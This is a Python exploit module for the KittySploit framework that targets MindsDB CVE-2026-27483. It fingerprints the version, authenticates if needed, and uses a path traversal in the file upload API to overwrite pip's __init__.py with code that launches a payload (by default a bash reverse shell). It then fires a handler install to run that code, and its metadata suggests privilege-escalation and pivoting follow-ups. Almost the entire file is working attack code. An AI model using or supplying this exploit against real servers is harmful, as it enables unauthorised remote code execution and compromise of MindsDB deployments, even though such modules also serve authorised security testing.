MindsDB CVE-2026-27483 - Path Traversal to RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "MindsDB CVE-2026-27483 - Path Traversal to RCE",
        "description": (
            "MindsDB versions below 25.9.1.1 are vulnerable to a path traversal in /api/files upload. "
            "A crafted file write can overwrite pip internals and execute attacker-controlled code when "
            "a handler installation is triggered."
        ),
        "author": ["Lohitya Pushkar (thewhiteh4t)", "XlabAITeam", "KittySploit Team"],
        "cve": "CVE-2026-27483",
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq",
            "https://github.com/mindsdb/mindsdb",
        ],
        "tags": ["mindsdb", "path-traversal", "rce"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    base_path = OptString("/", "MindsDB base path", required=False)
    username = OptString("", "MindsDB username if auth is enabled", required=False)
    password = OptString("", "MindsDB password if auth is enabled", required=False)
    handler = OptString("anomaly_detection", "Handler used to trigger pip import", required=False)
    traversal_target = OptString(
        "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py",
        "Traversal destination for uploaded file",
        required=False,
    )

    def _prefix(self) -> str:
        bp = str(self.base_path or "/").strip()
        if not bp.startswith("/"):
            bp = "/" + bp
        return bp.rstrip("/")

    @staticmethod
    def _parse_version(version_text: str):
        if not version_text:
            return ()
        match = re.match(r"(\d+)\.(\d+)\.(\d+)\.(\d+)", version_text.strip())
        if not match:
            return ()
        return tuple(int(p) for p in match.groups())

    def _auth_headers(self) -> dict:
        if not self.username or not self.password:
            return {}
        login = self.http_request(
            method="POST",
            path=f"{self._prefix()}/api/login",
            json={"username": str(self.username), "password": str(self.password)},
            timeout=max(int(self.timeout or 10), 10),
        )
        if not login or login.status_code != 200:
            return {}
        try:
            token = (login.json() or {}).get("token")
        except Exception:
            token = None
        if not token:
            return {}
        return {"Authorization": f"Bearer {token}"}

    def _build_python_wrapper(self) -> str:
        payload_cmd = str(self.payload).strip() if self.payload else ""
        if not payload_cmd:
            return ""
        return (
            "import subprocess\n"
            "try:\n"
            f"    subprocess.Popen(['/bin/sh', '-c', {payload_cmd!r}])\n"
            "except Exception:\n"
            "    pass\n"
        )

    def check(self):
        status = self.http_request(
            method="GET",
            path=f"{self._prefix()}/api/status",
            timeout=max(int(self.timeout or 10), 10),
        )
        if not status or status.status_code != 200:
            return {
                "vulnerable": False,
                "reason": f"Unable to query /api/status (HTTP {status.status_code if status else 'no response'})",
                "confidence": "low",
            }

        try:
            data = status.json() or {}
        except Exception as exc:
            return {"vulnerable": False, "reason": f"Invalid JSON in /api/status: {exc}", "confidence": "low"}

        version_text = str(data.get("mindsdb_version", "")).strip()
        version = self._parse_version(version_text)
        if not version:
            return {
                "vulnerable": False,
                "reason": f"Unable to parse MindsDB version '{version_text}'",
                "confidence": "low",
            }

        if version >= (25, 9, 1, 1):
            return {
                "vulnerable": False,
                "reason": f"MindsDB {version_text} appears patched (>= 25.9.1.1)",
                "confidence": "high",
            }

        if version < (25, 4, 1, 0):
            return {
                "vulnerable": True,
                "reason": (
                    f"MindsDB {version_text} is older than PoC baseline 25.4.1.0; "
                    "target may still be vulnerable but traversal_target may need adjustment"
                ),
                "confidence": "medium",
            }

        return {
            "vulnerable": True,
            "reason": f"MindsDB {version_text} is within vulnerable range (< 25.9.1.1)",
            "confidence": "high",
        }

    def run(self):
        status = self.http_request(
            method="GET",
            path=f"{self._prefix()}/api/status",
            timeout=max(int(self.timeout or 10), 10),
        )
        if not status or status.status_code != 200:
            print_error("Target is unreachable or does not expose /api/status")
            return False

        try:
            data = status.json() or {}
            version_text = str(data.get("mindsdb_version", "")).strip()
            auth_enabled = bool((data.get("auth") or {}).get("http_auth_enabled"))
        except Exception as exc:
            print_error(f"Unable to parse /api/status: {exc}")
            return False

        version = self._parse_version(version_text)
        if not version:
            print_error(f"Unable to parse MindsDB version: {version_text}")
            return False
        if version >= (25, 9, 1, 1):
            print_error(f"MindsDB {version_text} is patched (>= 25.9.1.1)")
            return False

        headers = {}
        if auth_enabled:
            if not self.username or not self.password:
                print_error("Authentication is enabled: set username and password")
                return False
            headers = self._auth_headers()
            if not headers:
                print_error("Authentication failed")
                return False
            print_success("Authentication succeeded")
        else:
            print_status("Authentication disabled on target")

        wrapper = self._build_python_wrapper()
        if not wrapper:
            print_error("No payload generated. Set a valid payload before running the exploit.")
            return False

        random_name = self.random_text(8).lower()
        form_data = {"name": random_name, "source": random_name, "source_type": "file"}
        files = {"file": (str(self.traversal_target), wrapper, "text/plain")}

        print_status(f"Uploading traversal payload as file '{random_name}'...")
        upload = self.http_request(
            method="PUT",
            path=f"{self._prefix()}/api/files/{random_name}",
            data=form_data,
            files=files,
            headers=headers,
            timeout=max(int(self.timeout or 15), 15),
        )
        if not upload:
            print_error("No response during upload request")
            return False

        if upload.status_code not in (200, 201, 204, 400):
            print_error(f"Upload failed with HTTP {upload.status_code}")
            print_info((upload.text or "")[:500])
            return False

        print_success(f"Payload upload request accepted (HTTP {upload.status_code})")
        print_status(f"Triggering handler install: {self.handler}")
        trigger = self.http_request(
            method="POST",
            path=f"{self._prefix()}/api/handlers/{self.handler}/install",
            json={},
            headers=headers,
            timeout=max(int(self.timeout or 10), 10),
        )

        if not trigger:
            print_warning("No response while triggering handler install; payload may still execute asynchronously")
            return True

        if trigger.status_code in (200, 201, 202, 204):
            print_success("Trigger request sent successfully")
            return True

        if trigger.status_code >= 500:
            print_warning(
                f"Trigger returned HTTP {trigger.status_code}; this can still indicate backend execution in some setups"
            )
            print_info((trigger.text or "")[:500])
            return True

        print_error(f"Trigger failed with HTTP {trigger.status_code}")
        print_info((trigger.text or "")[:500])
        return False